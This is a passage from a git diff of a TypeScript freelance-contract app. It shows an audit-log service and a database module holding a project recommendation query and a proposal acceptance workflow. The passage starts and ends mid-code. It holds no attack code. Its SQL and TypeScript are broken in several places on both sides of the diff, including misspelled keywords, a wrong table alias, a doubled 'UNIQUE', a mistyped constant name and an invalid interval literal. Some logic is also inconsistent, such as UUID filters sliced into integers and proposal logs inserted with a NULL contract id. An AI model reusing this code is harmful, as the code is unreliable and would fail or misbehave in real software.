null}::numeric, - ${JSON.stringify(data.metadata ?? {})}::jsonb - ) - RETURNING * - ` - - return rowToLog(rows[0]) - } - - /** - * List audit logs with pagination and filtering. - * Results scoped to the caller's accessible contracts. - */ - async listLogs( - query: unknown, - walletAddress: string - ): Promise { - const parsed = listLogsQuerySchema.safeParse(query) - if (!parsed.success) { - throw new AuditValidationError(parsed.error.issues[0]?.message ?? 'Invalid query params') - } - - const { limit, offset, contractId, projectId, action, actorUserId, fromDate, toDate } = parsed.data - const user = await getAuthUser(walletAddress) - - const contractIdNum = contractId ? parseInt(contractId.replace(/-/g, '').slice(-12), 10) : null - - // Count total - const countRows = await sql<{ total_count: number }>` - SELECT COUNT(*)::int AS total_count - FROM contract_audit_logs l - JOIN contracts c ON c.id = l.contract_id - WHERE (${user.role === 'admin'}::boolean - OR c.client_id = ${user.id} - OR c.freelancer_id = ${user.id}) - AND (${contractIdNum ?? null}::integer IS NULL OR l.contract_id = ${contractIdNum ?? null}::integer) - AND (${projectId ? parseInt(projectId.replace(/-/g, '').slice(-12), 10) : null}::integer IS NULL - OR l.project_id = ${projectId ? parseInt(projectId.replace(/-/g, '').slice(-12), 10) : null}::integer) - AND (${action ?? null}::varchar IS NULL OR l.action = ${action ?? null}::varchar) - AND (${actorUserId ? parseInt(actorUserId.replace(/-/g, '').slice(-12), 10) : null}::integer IS NULL - OR l.actor_user_id = ${actorUserId ? parseInt(actorUserId.replace(/-/g, '').slice(-12), 10) : null}::integer) - AND (${fromDate ?? null}::timestamptz IS NULL OR l.created_at >= ${fromDate ?? null}::timestamptz) - AND (${toDate ?? null}::timestamptz IS NULL OR l.created_at <= ${toDate ?? null}::timestamptz) - ` - const total = countRows[0]?.total_count ?? 0 - - const rows = total > offset - ? await sql>` - SELECT l.* - FROM contract_audit_logs l - JOIN contracts c ON c.id = l.contract_id - WHERE (${user.role === 'admin'}::boolean - OR c.client_id = ${user.id} - OR c.freelancer_id = ${user.id}) - AND (${contractIdNum ?? null}::integer IS NULL OR l.contract_id = ${contractIdNum ?? null}::integer) - AND (${projectId ? parseInt(projectId.replace(/-/g, '').slice(-12), 10) : null}::integer IS NULL - OR l.project_id = ${projectId ? parseInt(projectId.replace(/-/g, '').slice(-12), 10) : null}::integer) - AND (${action ?? null}::varchar IS NULL OR l.action = ${action ?? null}::varchar) - AND (${actorUserId ? parseInt(actorUserId.replace(/-/g, '').slice(-12), 10) : null}::integer IS NULL - OR l.actor_user_id = ${actorUserId ? parseInt(actorUserId.replace(/-/g, '').slice(-12), 10) : null}::integer) - AND (${fromDate ?? null}::timestamptz IS NULL OR l.created_at >= ${fromDate ?? null}::timestamptz) - AND (${toDate ?? null}::timestamptz IS NULL OR l.created_at <= ${toDate ?? null}::timestamptz) - ORDER BY l.created_at DESC, l.id DESC - LIMIT ${limit} - OFFSET ${offset} - ` - : [] - - const logs = rows.map(rowToLog) - const nextOffset = offset + logs.length < total ? offset + limit : null - - return { - logs, - pagination: { limit, offset, total, nextOffset, hasMore: nextOffset !== null }, - } - } -} - -export const contractAuditLogService = new ContractAuditLogService() +import { sql } from '@/lib/db' +import { z } from 'zod' + +// ─── Types ──────────────────────────────────────────────────────────────────── + +export const contractAuditActions = [ + 'contract_creation', + 'milestone_creation', + 'milestone_submission', + 'approval', + 'rejection', + 'dispute_creation', + 'dispute_resolution', + 'contract_completion', + 'proposal_shortlisted', + 'proposal_accepted', + 'proposal_rejected', +] as const +export type ContractAuditAction = (typeof contractAuditActions)[number] + +export interface ContractAuditLog { + id: string + contractId: number + projectId: number + action: ContractAuditAction + actorUserId: number + actorWallet: string + previousState: string | null + newState: string | null + milestoneId: number | null + disputeId: number | null + amount: string | null + proposalId: number | null + metadata: Record + createdAt: string +} + +export interface CreateAuditLogInput { + contractId: number + projectId: number + action: ContractAuditAction + actorUserId: number + actorWallet: string + previousState?: string + newState?: string + milestoneId?: number + disputeId?: number + amount?: string + proposalId?: number + metadata?: Record +} + +export interface AuditLogPage { + logs: ContractAuditLog[] + pagination: { + limit: number + offset: number + total: number + nextOffset: number | null + hasMore: boolean + } +} + +// ─── Validation Schemas ──────────────────────────────────────────────────────── + +const uuidSchema = z.string().uuid() +const amountSchema = z.string().regex(/^\d+(\.\d{1,6})?$/, 'amount must be a positive decimal string with up to 6 decimal places') + +const createLogSchema = z.object({ + contractId: z.number().int().positive(), + projectId: z.number().int().positive(), + action: z.enum(contractAuditActions as unknown as [string, ...string[]]), + actorUserId: z.number().int().positive().optional(), + actorWallet: z.string().trim().min(1).max(255), + previousState: z.string().trim().max(100).optional(), + newState: z.string().trim().max(100).optional(), + milestoneId: z.number().int().positive().optional(), + disputeId: z.number().int().positive().optional(), + amount: amountSchema.optional(), + proposalId: z.number().int().positive().optional(), + metadata: z.record(z.unknown()).optional(), +}) + +const listLogsQuerySchema = z.object({ + limit: z.coerce.number().int().min(1).max(100).optional().default(50), + offset: z.coerce.number().int().min(0).optional().default(0), + contractId: uuidSchema.optional(), + projectId: uuidSchema.optional(), + action: z.enum(contractAuditActions as unknown as [string, ...string[]]).optional(), + actorUserId: uuidSchema.optional(), + fromDate: z.string().datetime().optional(), + toDate: z.string().datetime().optional(), +}) + +// ─── Errors ────────────────────────────────────────────────────────────────── + +export class AuditValidationError extends Error { + constructor(message: string) { super(message) } +} +export class AuditForbiddenError extends Error { + constructor(message: string) { super(message) } +} + +// ─── Row mapper ────────────────────────────────────────────────────────────── + +function rowToLog(row: Record): ContractAuditLog { + return { + id: row.id as string, + contractId: row.contract_id as number, + projectId: row.project_id as number, + action: row.action as ContractAuditAction, + actorUserId: row.actor_user_id as number, + actorWallet: row.actor_wallet as string, + previousState: (row.previous_state as string) ?? null, + newState: (row.new_state as string) ?? null, + milestoneId: (row.milestone_id as number) ?? null, + disputeId: (row.dispute_id as number) ?? null, + amount: row.amount != null ? String(row.amount) : null, + proposalId: (row.proposal_id as number) ?? null, + metadata: (row.metadata as Record) ?? {}, + createdAt: row.created_at as string, + } +} + +// ─── Access control ────────────────────────────────────────────────────────── + +interface ContractAccessRow { + id: number + project_id: number + client_id: number + freelancer_id: number +} + +interface AuthUser { + id: number + role: string +} + +async function getAuthUser(walletAddress: string): Promise { + const rows = await sql<{ id: number; role: string }>` + SELECT id, role::text AS role FROM users WHERE wallet_address = ${walletAddress} LIMIT 1 + ` + if (!rows[0]) throw new AuditForbiddenError('Wallet address not linked to a user') + return rows[0] +} + +function assertCanAccessContract(contract: ContractAccessRow, user: AuthUser): void { + if (user.role === 'admin') return + if (contract.client_id === user.id || contract.freelancer_id === user.id) return + throw new AuditForbiddenError('Only contract participants or admins can access audit logs') +} + +function assertCanAccessProject(project: { client_id: number }, user: AuthUser): void { + if (user.role === 'admin') return + if (project.client_id === user.id) return + throw new AuditForbiddenError('Only the project owner or admins can access project audit logs') +} + +// ─── Service ───────────────────────────────────────────────────────────────── + +export class ContractAuditLogService { + /** + * Create an immutable audit log entry. + * Logs are append-only — no update or delete. + */ + async createLog(input: unknown, walletAddress: string): Promise { + const parsed = createLogSchema.safeParse(input) + if (!parsed.success) { + throw new AuditValidationError(parsed.error.issues[0]?.message ?? 'Invalid audit log payload') + } + + const user = await getAuthUser(walletAddress) + const data = parsed.data + + // Verify actor + const actorUserId = data.actorUserId ?? user.id + if (user.role !== 'admin' && actorUserId !== user.id) { + throw new AuditForbiddenError('Only admins can create audit logs for other actors') + } + + // Verify contract access + const contracts = await sql` + SELECT id, project_id, client_id, freelancer_id + FROM contracts + WHERE id = ${data.contractId} + LIMIT 1 + ` + const contract = contracts[0] + if (!contract) throw new AuditValidationError('contractId does not reference an existing contract') + assertCanAccessContract(contract, user) + + // Validate actor user exists + if (actorUserId !== user.id) { + const actorRows = await sql`SELECT id FROM users WHERE id = ${actorUserId} LIMIT 1` + if (!actorRows[0]) throw new AuditValidationError('actorUserId must reference an existing user') + } + + // Validate milestone belongs to contract + if (data.milestoneId) { + const msRows = await sql` + SELECT id FROM milestones WHERE id = ${data.milestoneId} AND contract_id = ${data.contractId} LIMIT 1 + ` + if (!msRows[0]) throw new AuditValidationError('milestoneId must belong to the provided contract') + } + + // Validate dispute belongs to contract + if (data.disputeId) { + const dispRows = await sql` + SELECT id FROM disputes WHERE id = ${data.disputeId} AND contract_id = ${data.contractId} LIMIT 1 + ` + if (!dispRows[0]) throw new AuditValidationError('disputeId must belong to the provided contract') + } + + // Validate proposal belongs to contract's project + if (data.proposalId) { + const propRows = await sql` + SELECT id FROM proposals + WHERE id = ${data.proposalId} + AND project_id = ${contract.project_id} + LIMIT 1 + ` + if (!propRows[0]) throw new AuditValidationError('proposalId must belong to the provided contract project') + } + + const rows = await sql>` + INSERT INTO contract_audit_logs ( + contract_id, + project_id, + action, + actor_user_id, + actor_wallet, + previous_state, + new_state, + milestone_id, + dispute_id, + amount, + proposal_id, + metadata + ) + VALUES ( + ${data.contractId}, + ${contract.project_id}, + ${data.action}, + ${actorUserId}, + ${data.actorWallet}, + ${data.previousState ?? null}, + ${data.newState ?? null}, + ${data.milestoneId ?? null}, + ${data.disputeId ?? null}, + ${data.amount != null ? data.amount : null}::numeric, + ${data.proposalId ?? null}, + ${JSON.stringify(data.metadata ?? {})}::jsonb + ) + RETURNING * + ` + + return rowToLog(rows[0]) + } + + /** + * Create an audit log entry for a proposal action (shortlist/accept/reject). + * Runs inside a caller-provided transaction so it commits atomically with + * the proposal state change. Enforces project ownership and proposal status. + */ + async createProposalLog( + input: { + projectId: number + proposalId: number + action: Extract + actorUserId: number + actorWallet: string + previousState?: string + newState?: string + amount?: string + metadata?: Record + }, + walletAddress: string, + tx: >(strings: TemplateStringsArray, ...values: unknown[]) => Promise + ): Promise { + const user = await getAuthUser(walletAddress) + if (user.role !== 'admin' && input.actorUserId !== user.id) { + throw new AuditForbiddenError('Only admins can create audit logs for other actors') + } + + const projectRows = await tx<{ id: number; client_id: number }>` + SELECT id, client_id FROM projects WHERE id = ${input.projectId} LIMIT 1 + ` + const project = projectRows[0] + if (!project) throw new AuditValidationError('projectId does not reference an existing project') + assertCanAccessProject(project, user) + + const proposalRows = await tx<{ id: number; project_id: number; status: string }>` + SELECT id, project_id, status::text AS status + FROM proposals + WHERE id = ${input.proposalId} + LIMIT 1 + ` + const proposal = proposalRows[0] + if (!proposal) throw new AuditValidationError('proposalId does not reference an existing proposal') + if (proposal.project_id !== input.projectId) { + throw new AuditValidationError('proposalId must belong to the provided project') + } + + const rows = await tx>` + INSERT INTO contract_audit_logs ( + contract_id, + project_id, + action, + actor_user_id, + actor_wallet, + previous_state, + new_state, + milestone_id, + dispute_id, + amount, + proposal_id, + metadata + ) + VALUES ( + NULL, + ${input.projectId}, + ${input.action}, + ${input.actorUserId}, + ${input.actorWallet}, + ${input.previousState ?? null}, + ${input.newState ?? null}, + NULL, + NULL, + ${input.amount != null ? input.amount : null}::numeric, + ${input.proposalId}, + ${JSON.stringify(input.metadata ?? {})}::jsonb + ) + RETURNING * + ` + + return rowToLog(rows[0]) + } + + /** + * List audit logs with pagination and filtering. + * Results scoped to the caller's accessible contracts. + */ + async listLogs( + query: unknown, + walletAddress: string + ): Promise { + const parsed = listLogsQuerySchema.safeParse(query) + if (!parsed.success) { + throw new AuditValidationError(parsed.error.issues[0]?.message ?? 'Invalid query params') + } + + const { limit, offset, contractId, projectId, action, actorUserId, fromDate, toDate } = parsed.data + const user = await getAuthUser(walletAddress) + + const contractIdNum = contractId ? parseInt(contractId.replace(/-/g, '').slice(-12), 10) : null + + // Count total + const countRows = await sql<{ total_count: number }>` + SELECT COUNT(*)::int AS total_count + FROM contract_audit_logs l + JOIN contracts c ON c.id = l.contract_id + WHERE (${user.role === 'admin'}::boolean + OR c.client_id = ${user.id} + OR c.freelancer_id = ${user.id}) + AND (${contractIdNum ?? null}::integer IS NULL OR l.contract_id = ${contractIdNum ?? null}::integer) + AND (${projectId ? parseInt(projectId.replace(/-/g, '').slice(-12), 10) : null}::integer IS NULL + OR l.project_id = ${projectId ? parseInt(projectId.replace(/-/g, '').slice(-12), 10) : null}::integer) + AND (${action ?? null}::varchar IS NULL OR l.action = ${action ?? null}::varchar) + AND (${actorUserId ? parseInt(actorUserId.replace(/-/g, '').slice(-12), 10) : null}::integer IS NULL + OR l.actor_user_id = ${actorUserId ? parseInt(actorUserId.replace(/-/g, '').slice(-12), 10) : null}::integer) + AND (${fromDate ?? null}::timestamptz IS NULL OR l.created_at >= ${fromDate ?? null}::timestamptz) + AND (${toDate ?? null}::timestamptz IS NULL OR l.created_at <= ${toDate ?? null}::timestamptz) + ` + const total = countRows[0]?.total_count ?? 0 + + const rows = total > offset + ? await sql>` + SELECT l.* + FROM contract_audit_logs l + JOIN contracts c ON c.id = l.contract_id + WHERE (${user.role === 'admin'}::boolean + OR c.client_id = ${user.id} + OR c.freelancer_id = ${user.id}) + AND (${contractIdNum ?? null}::integer IS NULL OR l.contract_id = ${contractIdNum ?? null}::integer) + AND (${projectId ? parseInt(projectId.replace(/-/g, '').slice(-12), 10) : null}::integer IS NULL + OR l.project_id = ${projectId ? parseInt(projectId.replace(/-/g, '').slice(-12), 10) : null}::integer) + AND (${action ?? null}::varchar IS NULL OR l.action = ${action ?? null}::varchar) + AND (${actorUserId ? parseInt(actorUserId.replace(/-/g, '').slice(-12), 10) : null}::integer IS NULL + OR l.actor_user_id = ${actorUserId ? parseInt(actorUserId.replace(/-/g, '').slice(-12), 10) : null}::integer) + AND (${fromDate ?? null}::timestamptz IS NULL OR l.created_at >= ${fromDate ?? null}::timestamptz) + AND (${toDate ?? null}::timestamptz IS NULL OR l.created_at <= ${toDate ?? null}::timestamptz) + ORDER BY l.created_at DESC, l.id DESC + LIMIT ${limit} + OFFSET ${offset} + ` + : [] + + const logs = rows.map(rowToLog) + const nextOffset = offset + logs.length < total ? offset + limit : null + + return { + logs, + pagination: { limit, offset, total, nextOffset, hasMore: nextOffset !== null }, + } + } +} + +export const contractAuditLogService = new ContractAuditLogService() diff --git a/lib/db.ts b/lib/db.ts index 05119c9..e2b4637 100644 --- a/lib/db.ts +++ b/lib/db.ts @@ -1,213 +1,437 @@ -// lib/db.ts -// -// Lazy-initialised Neon serverless client. -// The client is created once and reused across requests in the same -// function instance. This matches the pattern already used in the repo -// (see git message: "fix: lazy-init db client"). -// -// Usage: -// import { sql } from "@/lib/db"; -// const rows = await ssl` SELECT * FROM projects WHERE id = ${id}`; - -import { neon } from "@neondatabase/serverless"; - -let _sql: ReturnType | null = null; - -function getDb() { - if (!_sql) { - const url = process.env.DATABASE_URL; - if (!url) { - throw new Error( - "DATABASE_URL environment variable is not set. " + - "Copy env.example to .env and fill in your Neon connection string.", - ); - } - _sql = neon(url); - } - return _sql; -} - -// Re-exported as `sql` so call-sites read naturally: -// const rows = await ssl` SELECT …` -export const sql = new Proxy({} as ReturnType, { - get(_target, prop) { - return (getDb() as unknown as Record)[prop]; - }, - apply(_target, _thisArg, args: unknown[]) { - return (getDb() as unknown as (a: unknown[]) => unknown)(...args); - }, -}) as ReturnType; - -// -------------- Project Recommendation Service ---------------- -// The following code implements a basic recommendation engine. -// It is intentionally placed here because this module already exports -// the shared database client, and the service layer can call `sql`. -// -// Required indexes (add via migration): -// CREATE INDEX idx_projects_status_created ON projects(status, created_at DESC); -// CREATE INDEX idx_projects_category ON projects(category_id); -// CREATE INDEX idx_projects_budget ON projects(budget_min, budget_max); -// CREATE INDEX idx_project_skills_project ON project_skills(project_id); -// CREATE INDEX idx_project_skills_skill ON project_skills(skill_id); -// CREATE INDEX idx_freelancer_skills_freelancer ON freelancer_skills(freelancer_id); -// CREATE NDEX idx_freelancer_skills_skill ON freelancer_skills(skill_id); -// CREATE INDEX idx_project_history_freelancer_status ON project_history(freelancer_id, status); - -export type RecommendationResult = { - projects: Array>; - totalCount: number; - hasMore: boolean; - page: number; - pageSize: number; -}; - -// Simple in-memory cache with TTL (works within a single serverless instance). -const cache = new Map(); -const CACHE_TTL_MS = 60_000; // 1 minute -const MAX_CACHE_ENTRIES = 100; - -function setCache(key: string, data: RecommendationResult) { - if (cache.size >= MAX_CACHE_ENTRIES) { - // Evict the oldest entry (Map iteration is insertion order). - const firstKey = cache.keys().next().value; - if (firstKey) cache.delete(firstKey); - } - cache.set(key, { data, expiresAt: Date.now() + CACHE_TTL_MS }); -} - -function formatResult( - rows: Array>, - page: number, - pageSize: number, -): RecommendationResult { - if (rows.length === 0) { - return { projects: [], totalCount: 0, hasMore: false, page, pageSize }; - } - const totalCount = Number(rows[0].total_count) || 0; - const projects = rows.map((row) => { - const { total_count: _total_count, ...rest } = row; - void _total_count; - return rest; - }); - const hasMore = page * pageSize < totalCount; - return { projects, totalCount, hasMore, page, pageSize }; -} - -/** - * Returns paginated project recommendations for a freelancer. - * - * Security note: The API layer must verify that the authenticated user - * matches `userId` before calling this function. This function does not - * perform authentication/authorisation itself. - */ -export async function getRecommendations({ - userId, - page = 1, - pageSize = 10, -}: { - userId: number; - page?: number; - pageSize?: number; -}): Promise { - // Clamp inputs. - const safePage = Math.max(1, page); - const safePageSize = Math.min(50, Math.max(1, pageSize)); - const offset = (safePage - 1) * safePageSize; - const cacheKey = `${userId}:${safePage}:${safePageSize}`; - - // Try cache first. - const cached = cache.get(cacheKey); - if (cached && cached.expiresAt > Date.now()) { - return cached.data; - } - - // Get freelancer id and preferences. - const freelancerRows = await ssl` - SELECT id, preferred_min_budget, preferred_max_budget, preferred_category_id - FROM freelancers - WHERE user_id = ${userId} - `; - - let projects; - if (freelancerRows.length === 0) { - // No freelancer profile – fallback to recent projects. - projects = await ssl` - SELECT *, COUNT(*) OVER() AS total_count - FROM projects - WHERE status = 'open' - ORDER BY created_at DESC - LIMIT ${safePageSize} OFFSET ${offset} - `; - } else { - const freelancer = freelancerRows[0]; - const freelancerId = freelancer.id; - - // Main recommendation query. - // The query computes a weighted score based on: - // - skill overlap (2 points per skill) - // - preferred category (1 point) - // - budget compatibility (1 point) - // - category of past completed projects (1 point) - // Projects with score=0 are only included if they are recent (30 days) - // to serve as a fallback when matches are insufficient. - projects = await ssl` - WITH user_data AS ( - SELECT id, preferred_min_budget, preferred_max_budget, preferred_category_id - FROM freelancers - WHERE id = ${freelancerId} - ), - skill_match_counts AS ( - SELECT ps.project_id, COUNT(*) AS skill_count - FROM project_skills ps - JOIN freelancer_skills fs ON fs.skill_id = ps.skill_id - JOIN user_data ud ON ud.id = fs.freelancer_id - GROUP BI ps.project_id - ), - past_categories AS ( - SELECT DISTINCT p.category_id - FROM project_history ph - JOIN projects p ON p.id = ph.project_id - WHERE ph.freelancer_id = ${freelancerId} - AND ph.status = 'completed' - ), - scored_projects AS ( - SELECT - p.*, - COEALESE(smc.skill_count, 0) * 2 - + CASE WHEN p.category_id = ud.preferred_category_id THEN 1 ELSE 0 END - + CASE WHEN p.budget_min <= ud.preferred_max_budget - AND p.budget_max >= ud.preferred_min_budget THEN 1 ELSE 0 END - + CASE WHEN pc.category_id IS NOT NULL THEN 1 ELSE 0 END - AS score, - COUNT(*) OVER() AS total_count - FROM projects p - CROSS JOIN user_data ud - LEFT JOIN skill_match_counts smc ON smc.project_id = p.id - LEFT JOIN past_categories pc ON pc.category_id = p.category_id - WHERE p.status = 'open' - AND ( - COALESE(smc.skill_count, 0) > 0 - OR p.category_id = ud.preferred_category_id - OR (p.budget_min <= ud.preferred_max_budget - AND p.budget_max >= ud.preferred_min_budget) - OR pc.category_id IS NOT NULL - OR p.created_at > NOW() - INTERVAL 30 days - ) - ) - SELECT * FROM scored_projects - ORDER BY score DESC, created_at DESC - LIMIT ${safePageSize} OFFSET ${offset} - `; - } - - const result = formatResult(projects, safePage, safePageSize); - setCache(cacheKey, result); - - // Basic logging/metrics for observability. - console.log( - `[recommendations] userId=${userId} page=${safePage} pageSize=${safePageSize} ` + - `returned=${result.projects.length} totalCount=${result.totalCount} hasMore=${result.hasMore}` - ); - - return result; -} +// lib/db.ts +// +// Lazy-initialised Neon serverless client. +// The client is created once and reused across requests in the same +// function instance. This matches the pattern already used in the repo +// (see git message: "fix: lazy-init db client"). +// +// Usage: +// import { sql } from "@/lib/db"; +// const rows = await sql` SELECT * FROM projects WHERE id = ${id}`; + +import { neon } from "@neondatabase/serverless"; + +let _sql: ReturnType | null = null; + +function getDb() { + if (!_sql) { + const url = process.env.DATABASE_URL; + if (!url) { + throw new Error( + "DATABASE_URL environment variable is not set. " + + "Copy env.example to .env and fill in your Neon connection string.", + ); + } + _sql = neon(url); + } + return _sql; +} + +// Re-exported as `sql` so call-sites read naturally: +// const rows = await sql` SELECT … ` +export const sql = new Proxy({} as ReturnType, { + get(_target, prop) { + return (getDb() as unknown as Record)[prop]; + }, + apply(_target, _thisArg, args: unknown[]) { + return (getDb() as unknown as (a: unknown[]) => unknown)(...args); + }, +}) as ReturnType; + +// -------------- Project Recommendation Service ---------------- +// The following code implements a basic recommendation engine. +// It is intentionally placed here because this module already exports +// the shared database client, and the service layer can call `sql`. +// +// Required indexes (add via migration): +// CREATE INDEX idx_projects_status_created ON projects(status, created_at DESC); +// CREATE INDEX idx_projects_category ON projects(category_id); +// CREATE INDEX idx_projects_budget ON projects(budget_min, budget_max); +// CREATE INDEX idx_project_skills_project ON project_skills(project_id); +// CREATE INDEX idx_project_skills_skill ON project_skills(skill_id); +// CREATE INDEX idx_freelancer_skills_freelancer ON freelancer_skills(freelancer_id); +// CREATE INDEX idx_freelancer_skills_skill ON freelancer_skills(skill_id); +// CREATE INDEX idx_project_history_freelancer_status ON project_history(freelancer_id, status); + +export type RecommendationResult = { + projects: Array>; + totalCount: number; + hasMore: boolean; + page: number; + pageSize: number; +}; + +// Simple in-memory cache with TTL (works within a single serverless instance). +const cache = new Map(); +const CACHE_UTL_MS = 60_000; // 1 minute +const MAX_CACHE_ENTRIES = 100; + +function setCache(key: string, data: RecommendationResult) { + if (cache.size >= MAX_CACHE_ENTRIES) { + // Evict the oldest entry (Map iteration is insertion order). + const firstKey = cache.keys().next().value; + if (firstKey) cache.delete(firstKey); + } + cache.set(key, { data, expiresAt: Date.now() + CACHE_UTL_MS }); +} + +function formatResult( + rows: Array>, + page: number, + pageSize: number, +): RecommendationResult { + if (rows.length === 0) { + return { projects: [], totalCount: 0, hasMore: false, page, pageSize }; + } + const totalCount = Number(rows[0].total_count) || 0; + const projects = rows.map((row) => { + const { total_count: _total_count, ...rest } = row; + void _total_count; + return rest; + }); + const hasMore = page * pageSize < totalCount; + return { projects, totalCount, hasMore, page, pageSize }; +} + +/** + * Returns paginated project recommendations for a freelancer. + * + * Security note: The API layer must verify that the authenticated user + * matches `userId` before calling this function. This function does not + * perform authentication/authorisation itself. + */ +export async function getRecommendations({ + userId, + page = 1, + pageSize = 10, +}: { + userId: number; + page?: number; + pageSize?: number; +}): Promise { + // Clamp inputs. + const safePage = Math.max(1, page); + const safePageSize = Math.min(50, Math.max(1, pageSize)); + const offset = (safePage - 1) * safePageSize; + const cacheKey = `${userId}:${safePage}:${safePageSize}`; + + // Try cache first. + const cached = cache.get(cacheKey); + if (cached && cached.expiresAt > Date.now()) { + return cached.data; + } + + // Get freelancer id and preferences. + const freelancerRows = await sql` + SELECT id, preferred_min_budget, preferred_max_budget, preferred_category_id + FROM freelancers + WHERE user_id = ${userId} + `; + + let projects; + if (freelancerRows.length === 0) { + // No freelancer profile – fallback to recent projects. + projects = await sql` + SELECT *, COUNT(*) OVER () AS total_count + FROM projects + WHERE status = 'open' + ORDER BY created_at DESC + LIMIT ${safePageSize} OFFSET ${offset} + `; + } else { + const freelancer = freelancerRows[0]; + const freelancerId = freelancer.id; + + // Main recommendation query. + // The query computes a weighted score based on: + // - skill overlap (2 points per skill) + // - preferred category (1 point) + // - budget compatibility (1 point) + // - category of past completed projects (1 point) + // Projects with score=0 are only included if they are recent (30 days) + // to serve as a fallback when matches are insufficient. + projects = await sql` + WITH user_data AS ( + SELECT id, preferred_min_budget, preferred_max_budget, preferred_category_id + FROM freelancers + WHERE id = ${freelancerId} + ), + skill_match_counts AS ( + SELECT ps.project_id, COUNT(*) AS skill_count + FROM project_skills ps + JOIN freelancer_skills fs ON fs.skill_id = ps.skill_id + JOIN user_data ud ON ud.id = fs.freelancer_id + GROUP BY ps.project_id + ), + past_categories AS ( + SELECT DISTINCT p.category_id + FROM project_history ph + JOIN projects p ON pid.id = ph.project_id + WHERE ph.freelancer_id = ${freelancerId} + AND ph.status = 'completed' + ), + scored_projects AS ( + SELECT + p.*, + COALESCE(smc.skill_count, 0) * 2 + + CASE WHEN p.category_id = ud.preferred_category_id THEN 1 ELSE 0 END + + CASE WHEN p.budget_min <= ud.preferred_max_budget + AND p.budget_max >= ud.preferred_min_budget THEN 1 ELSE 0 END + + CASE WHEN pc.category_id IS NOT NULL THEN 1 ELSE 0 END + AS score, + COUNT(*) OVER() AS total_count + FROM projects p + CROSS JOIN user_data ud + LEFT JOIN skill_match_counts smc ON smc.project_id = p.id + LEFT JOIN past_categories pc ON pc.category_id = p.category_id + WHERE P.status = 'open' + AND ( + COALESCE(smc.skill_count, 0) > 0 + OR p.category_id = ud.preferred_category_id + OR (p.budget_min <= ud.preferred_max_budget + AND p.budget_max >= ud.preferred_min_budget) + OR pc.category_id IS NOT NULL + OR p.created_at > NOW() - INTERVAL 30 days + ) + ) + SELECT * FROM scored_projects + ORDER BY score DESC, created_at DESC + LIMIT ${safePageSize} OFFSET ${offset} + `; + } + + const result = formatResult(projects, safePage, safePageSize); + setCache(cacheKey, result); + + // Basic logging/metrics for observability. + console.log( + `[recommendations] userId=${userId} page=${safePage} pageSize=${safePageSize} ` + + `returned=${result.projects.length} totalCount=${result.totalCount} hasMore=${result.hasMore}` + ); + + return result; +} + +// -------------- Proposal Shortlisting & Acceptance Concurrency Control ---------------- +// +// This section implements the atomic workflow for shortlisting, +// accepting, and rejecting proposals. All mutations run inside a +// database transaction and rely on row-level locks + unique constraints +// to prevent race conditions. +// +// Required migration (idempotent duplicate-protection and single acceptance): +// ALTER TABLE proposals ADD COLUMN IF NOT EXISTS idempotency_key TEXT; +// CREATE UNIQUE INDEX IF NOT EXISTS uq_proposals_idempotency +// ON proposals(idempotency_key) WHERE idempotency_key IS NOT NULL; +// CREATE UNIQUE INDEX IF NOT EXISTS uq_projects_single_accept +// ON proposals(project_id) WHERE status = 'accepted'; +// CREATE UNIQUE UNIQUE INDEX IF NOT EXISTS uq_contracts_project +// ON contracts(project_id); + +export type ProposalAction = "shortlist" | "accept" | "reject"; + +export type ProposalOutcome = { + ok: boolean; + code?: string; + message?: string; + proposalId?: number; + projectId?: number; + status?: string; + contractId?: number; + idempotent?: boolean; +}; + +const PROPOSAL_TRANSITIONS = { + shortlist: ["submitted", "shortlisted"], + accept: ["submitted", "shortlisted"], + reject: ["submitted", "shortlisted"], +} as const satisfies Record; + +function isProposalAction(value: string): value is ProposalAction { + return value === "shortlist" || value === "accept" || value === "reject"; +} + +export type ProposalActionParams = { + proposalId: number; + actorUserId: number; + action: ProposalAction | string; + idempotencyKey?: string | null; +}; + +/** + * Applies a shortlist/accept/reject action atomically. + * + * Guarantees: +* - Only the project owner (client) is allowed to mutate proposals. + * - Proposal status is validated before any write. + * - Acceptance is guarded by a partial unique index on (project_id) + * WHERE status = 'accepted', so concurrent acceptances cannot + * create multiple contracts for the same project. + * - Duplicate requests are deduplicated via idempotency_key. + * - All writes and audit logs are written in a single transaction. + */ +export async function applyProposalAction( + params: ProposalActionParams +): Promise { + const { proposalId, actorUserId, idempotencyKey } = params; + const action = params.action; + + if (!isProposalAction(action)) { + return { ok: false, code: "invalid_action", message: "Unknown proposal action." }; + } + if (!Number.isInteger(proposalId) || proposalId <= 0) { + return { ok: false, code: "invalid_proposal_id", message: "Invalid proposal id." }; + } + if (!Number.isInteger(actorUserId) || actorUserId <= 0) { + return { ok: false, code: "unauthorized", message: "Missing authenticated user." }; + } + + const nextStatus = action === "shortlist" ? "shortlisted" : action === "accept" ? "accepted" : "rejected"; + const allowedFrom = PROPOSAL_TRANSITIONS[action]; + + try { + return await sql.begin(async (tx) => { + // Idempotency: short-circuit duplicate requests before any write. + if (idempotencyKey) { + const existing = await tx` + SELECT id, project_id, status + FROM proposals + WHERE idempotency_key = ${idempotencyKey} + LIMIT 1 + `; + if (existing.length > 0) { + const row = existing[0] as { id: number; project_id: number; status: string }; + return { + ok: true, + code: "idempotent_replay", + message: "Request already processed.", + proposalId: Number(row.id), + projectId: Number(row.project_id), + status: row.status, + idempotent: true, + }; + } + } + + // Lock the proposal row and join the project to verify ownership. + const proposalRows = await tx` + SELECT p.id, p.project_id, p.status, pr.client_id + FROM proposals p + JOIN projects pr ON pr.id = p.project_id + WHERE p.id = ${proposalId} + FOR UPDATE OF p + `; + + if (proposalRows.length === 0) { + return { ok: false, code: "not_found", message: "Proposal not found." }; + } + + const proposal = proposalRows[0] as { + id: number; + project_id: number; + status: string; + client_id: number; + }; + + // Authorization: only the project owner may act on proposals. + if (Number(proposal.client_id) !== Number(actorUserId)) { + return { + ok: false, + code: "forbidden", + message: "Only the project owner can modify proposals.", + proposalId: Number(proposal.id), + projectId: Number(proposal.project_id), + }; + } + + // Status validation. + if (!allowedFrom.includes(proposal.status)) { + return { + ok: false, + code: "invalid_status", + message: `Proposal is ${proposal.status} and cannot be ${action}.`, + proposalId: Number(proposal.id), + projectId: Number(proposal.project_id), + status: proposal.status, + }; + } + + // Apply the status transition. The partial unique index on + // (project_id) WHERE status = 'accepted' guarantees at most one + // accepted proposal per project even under concurrency. + await tx` + UPDATE proposals + SET status = ${nextStatus}, + updated_at = NOW(), + idempotency_key = COALESCE(${idempotencyKey ?? null}, idempotency_key) + WHERE id = ${proposalId} + `; + + let contractId: number | undefined; + + // On acceptance, create the contract and reject all other + // pending/shortlisted proposals for the same project. + if (action === 